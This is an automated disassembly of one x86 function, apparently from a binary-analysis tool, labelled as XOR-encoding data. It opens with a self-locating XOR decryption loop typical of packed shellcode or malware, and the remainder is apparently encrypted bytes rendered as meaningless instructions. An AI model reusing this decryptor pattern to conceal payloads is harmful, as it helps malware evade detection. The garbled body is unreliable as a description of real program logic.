Function at 0xdc66b4
Capabilities:
Encode data using xor

Disassembly:
hlt
jmp 0xdc66be
pushal
call 0xdc66c4
pop ebp
sub ebp, 0x10
sub ebp, 0x9c66b4
jmp 0xdc66da
mov eax, 0x9c66b4
add eax, ebp
add eax, 0x4c
mov ecx, 0x5c3
pushfd
add byte [ebx], al
lds eax, [ecx + 0x4cc0]
dec esp
add byte [eax], al
add byte [ecx + 0x5c3], bh
mov edx, 0xbce2f773
xor byte [eax], dl
inc eax
dec ecx
jne 0xdc66f1
jmp 0xdc6704
clc
mov esi, 0x734ffaf8
jae 0xdc677f
mov dl, 0x8b
jae 0xdc6784
jae 0xdc6783
mov esi, 0x737374cb
jae 0xdc66e3
pop ebx
jae 0xdc6790
jae 0xdc66a3
xchg ecx, eax
jo 0xdc66dd
clc
bnd jg 0xdc6799
jae 0xdc679b
jo 0xdc66e0
and edi, esi
pop ss
push edi
invalid
sbb ebx, edi
test al, 0x52
jae 0xdc6753
sbb esi, dword [esi - 8]
jbe 0xdc6732
or dword [ebx + 0x72], esi
pop edi
push edi
sbb edx, eax
add ecx, ebx
cmp ebx, dword [ebx + 0x73737376]
lcall 0x17fe, 0x7373735d
jae 0xdc67bb
jae 0xdc66e4
pop ebp
jae 0xdc67c0
jae 0xdc674d
pop ss
push edi
invalid
pop edi
push edi
daa
clc
idiv byte [ebx + 0x73]
jae 0xdc67d0
jae 0xdc6756
clc
out 0x7f, al
jae 0xdc67d5
jae 0xdc675c
invalid
ja 0xdc67f4
jae 0xdc67f6
sbb ebx, edi
test al, 0x52
jae 0xdc67a4
fild qword [eax + 0x761b7352]
clc
jbe 0xdc6783
or dword [ebx + 0x72], esi
pop edi
push edi
invalid
jae 0xdc680e
jae 0xdc6737
jno 0xdc6813
jae 0xdc67c8
daa
daa
mov word cs:[esi], es
mov word [esi], es
jg 0xdc6734
push es
jnp 0xdc6746
or esi, dword [ebx + 0x73]
jae 0xdc67a8
into
jnp 0xdc6826
jae 0xdc6828
xor byte [edx], 0xad
sbb byte [0xad3282f2], al
xor byte [edx], 0xad
sbb byte [0xa140ba40], al
add eax, 0xa140ba40
mov edx, 0x9bf0a140
jbe 0xdc6804
inc eax
mov eax, dword [0x3b769bf0]
invalid
cmp edi, dword [edi + esi*8 + 0x3d]
jae 0xdc6841
jl 0xdc67c2
cmp eax, 0x7c737373
jae 0xdc684c
sti
cmp esi, dword [ebx + 0x73]
jae 0xdc67eb
adc eax, 0xf34a6ff8
mov byte [ebx + 0x7369f77c], bl
clc
outsd dx, dword [esi]
dec edx
mov byte [ebx + 0x7369f77c], bl
jae 0xdc6855
mov byte [edx + 0x7362f77c], bl
jae 0xdc685e
adc eax, 0x568c88f2
jl 0xdc67e9
mov word [esi + 0x7c], ss
mul dword [esi + 0x73]
jae 0xdc6868
jae 0xdc6869
jae 0xdc6829
xor bl, byte [edx - 0x73737341]
pop edx
aas
lcall 0x3f5a, 0x8c8c8cbf
dec edx
jb 0xdc67f1
invalid
mov dl, 0x76
invalid
wait
ja 0xdc67a1
lcall 0x275a, 0x8c8c8cce
dec edx
into
mov word [esp + ecx*4 + 0x714a275a], cs
jno 0xdc6800
invalid
mov dl, 0x75
invalid
cdq
ja 0xdc6806
wait
jbe 0xdc67b3
fmul dword [esp + ecx*4 + 0x575ff88c]
invalid
jae 0xdc684e
clc
lahf
and eax, 0x6f82624
and al, 0x26
clc
push es
jg 0xdc6829
push cs
jnp 0xdc67c3
pop ecx
stc
sal ebx, 0xf9
jne 0xdc682b
mov ch, 0x72
mov ch, 0x72
jb 0xdc68af
jae 0xdc68b0
jae 0xdc68b1
jae 0xdc683a
sti
je 0xdc6833
mov ah, 0x72
jae 0xdc68b8
jae 0xdc680f
jno 0xdc68bc
jae 0xdc68be
jae 0xdc68bd
jno 0xdc67ee
mov eax, dword [0x7376f67c]
jl 0xdc6845
div byte [esi + 0x73]
jbe 0xdc68c4
jae 0xdc68c6
stc
xor eax, 0xf07ca161
xor eax, 0xf07ca161
popal
mov eax, dword [0x8cabf07c]
mov word [ecx + esi*2 + 0x76f67ca1], cs
jae 0xdc68d8
jl 0xdc684a
stosd dword es:[edi], eax
mov word [esp + ecx*4 - 0x9835e8f], cs
jno 0xdc6801
jl 0xdc6858
jbe 0xdc68d7
jae 0xdc68d9
jae 0xdc6860
stc
xor eax, 0xf07ca161
xor eax, 0xf07ca161
popal
mov eax, dword [0x7319f07c]
jae 0xdc68e4
sbb dword [ebx + 0x73], esi
jae 0xdc68b2
inc eax
mov bl, 0x71
mov eax, dword [0x7376f67c]
jae 0xdc68ee
stc
xor eax, 0xf07ca161
pop ecx
jb 0xdc68f8
jae 0xdc68f8
mov eax, dword [0x7376f67c]
jae 0xdc6901
stc
xor eax, 0xb360a161
jno 0xdc6838
mov eax, dword [0xa171b360]
jl 0xdc688f
jbe 0xdc690e
jae 0xdc6910
stc
xor eax, 0xb360a161
jno 0xdc6847
jl 0xdc689e
jbe 0xdc691d
jae 0xdc691f
stc
xor eax, 0xb360a161
jno 0xdc6856
popal
mov eax, dword [0xa171b360]
pushal
mov bl, 0x71
mov eax, dword [0x7376f67c]
jl 0xdc68ad
jbe 0xdc692c
jae 0xdc692d
jae 0xdc692e
jae 0xdc68b5
stc
xor eax, 0xb360a161
xor eax, 0xb360a161
popal
mov eax, dword [0xf77cb360]
jl 0xdc68bb
jne 0xdc6939
jae 0xdc693b
clc
lodsb al, byte [esi]
pop eax
stosd dword es:[edi], eax
stc
jo 0xdc68ca
je 0xdc6905
enter 0x7371, 0x73
jae 0xdc6871
add ecx, dword [esp + ecx*4 + 0x7372cb8c]
mov word [esp + ecx*4 + 0x737372cb], cs
jae 0xdc6952
mov word [ebx + ecx*8 + 0x73737372], cs
mov ebx, cs
jb 0xdc6951
jae 0xdc6953
jno 0xdc6883
mov eax, dword [0x7376f67c]
jl 0xdc68da
jbe 0xdc6959
jae 0xdc695b
stc
xor eax, 0xb360a161
jno 0xdc6892
mov bl, 0x71
mov eax, dword [0x7376f67c]
jl 0xdc68e9
jbe 0xdc6968
jae 0xdc6969
jae 0xdc696a
jae 0xdc68f1
stc
xor eax, 0xf17ca161
lodsd eax, dword [esi]
mov word [esp + ecx*4 + 0x72c8b058], cs
jae 0xdc697b
mov word [eax - 0x50], ds
enter 0x7372, 0x73
mov al, 0xc8
jb 0xdc697a
jae 0xdc697c
jae 0xdc6986
jl 0xdc6901
test byte [edi + 0x73], 0x73
inc edi
jae 0xdc6981
jae 0xdc68da
jb 0xdc6985
jae 0xdc6987
jno 0xdc68b7
jl 0xdc690e
jbe 0xdc698d
jae 0xdc698f
stc
xor eax, 0xba60a161
jno 0xdc68c6
popal
mov eax, dword [0xa171ba60]
jl 0xdc691d
jbe 0xdc699c
jae 0xdc699e
stc
xor eax, 0xf17ca161
xor eax, 0xf17ca161
popal
mov eax, dword [0x8cadf17c]
mov word [ebp - 0x79a77b08], cs
lodsd eax, dword [esi]
mov word [esp + ecx*4 + 0x5884f825], cs
pop eax
xchg byte [eax + 0x7b9a2dd7], al
mov word [esp + ecx*4 + 0x7b93b23b], cs
stc
adc bh, 0x2d
lcall 0xb23b, 0x8c8c8c7b
xchg ebx, eax
jnp 0xdc6941
mov word [ebx + edi - 0x6846c4e], cs
jne 0xdc697f
clc
wait
retf 0x7372
jno 0xdc68f4
mov eax, dword [0x7376f67c]
jl 0xdc694b
jbe 0xdc69ca
jae 0xdc69cc
stc
xor eax, 0xba60a161
xor eax, 0xba60a161
jno 0xdc6903
jl 0xdc695a
jbe 0xdc69d9
jae 0xdc69db
stc
xor eax, 0xf17ca161
xor eax, 0xf17ca161
mov eax, dword [0x8cadf17c]
mov word [edx + esi*8 + 0x730e738b], cs
int1
lodsd eax, dword [esi]
mov word [esp + ecx*4 + 0xe738bf2], cs
jae 0xdc69ec
jae 0xdc696c
repne stosb byte es:[edi], al
stosb byte es:[edi], al
mov word [esp + ecx*4 + 0x738bf28c], cs
jbe 0xdc69f7
mov word [esp + ecx*4 + 0x76738bf2], cs
mov esi, dword [ebx + 0x76]
jae 0xdc69f9
jae 0xdc69f8
jae 0xdc6978
repne stosb byte es:[edi], al
stosb byte es:[edi], al
mov word [esp + ecx*4 - 0xc740d74], cs
jae 0xdc6a03
jae 0xdc6a03
jae 0xdc6a04
jae 0xdc6984
mov byte [0x73737373], al
mov byte [0x73737373], al
mov esi, ebx
jae 0xdc6a0f
jae 0xdc6990
mov byte [0x73737373], al
and eax, 0x835884f8
adc bh, 0x2d
lcall 0x75f9, 0x8c8c8de8
xor eax, 0x9bb3ba40
jb 0xdc6a35
mov edx, 0x7c729bb3
imul dword [ecx + 0x73]
jae 0xdc6a31
mov byte [0x73737371], al
clc
wait
and eax, 0x835884f8
clc
test byte [eax - 0x7d], bl
pop eax
add dword [eax + 0x72c82dd7], 0x73
jae 0xdc6a46
adc bh, 0x2d
enter 0x7372, 0x73
xlatb
sub eax, 0x737372c8
jae 0xdc696e
lcall 0x582e, 0x8c8c8d00
add byte [ebp + 0x582e8c8c], cl
lea ecx, [esp + ecx*4 + 0x7b0e582e]
clc
pop eax
push cs
jnp 0xdc69d5
mov ah, 0x2c
sub eax, 0xb12e96f8
jnp 0xdc6a59
sub al, 0x2d
lcall 0xf6d9, 0x73737377
retf
jae 0xdc69c7
test bl, 0x9e
retf
mov dh, 0xf2
mov bl, 0x10
mov bl, 0x10
jo 0xdc6a70
jae 0xdc69c9
fbstp tbyte [ecx + 0x73]
jae 0xdc69cd
leave
retf
mov word [esp + ecx*4 + 0x7373779a], cs
jae 0xdc69b4
add edx, dword [0x4c354c85]
cmp al, 0x40
mov esp, 0x403c4cf7
cmp al, 0x40
ja 0xdc6a23
imul ecx, ebx, 0xffffffcb
retf
mov ebx, 0x4f405df7
dec edi
sti
dec ebx
retf
inc eax
mov dl, 0xcf
dec esp
xor cl, byte [edx + 0x31]
retf
dec edx
or al, 0xc3
retf
xor al, 0xad
inc eax
int3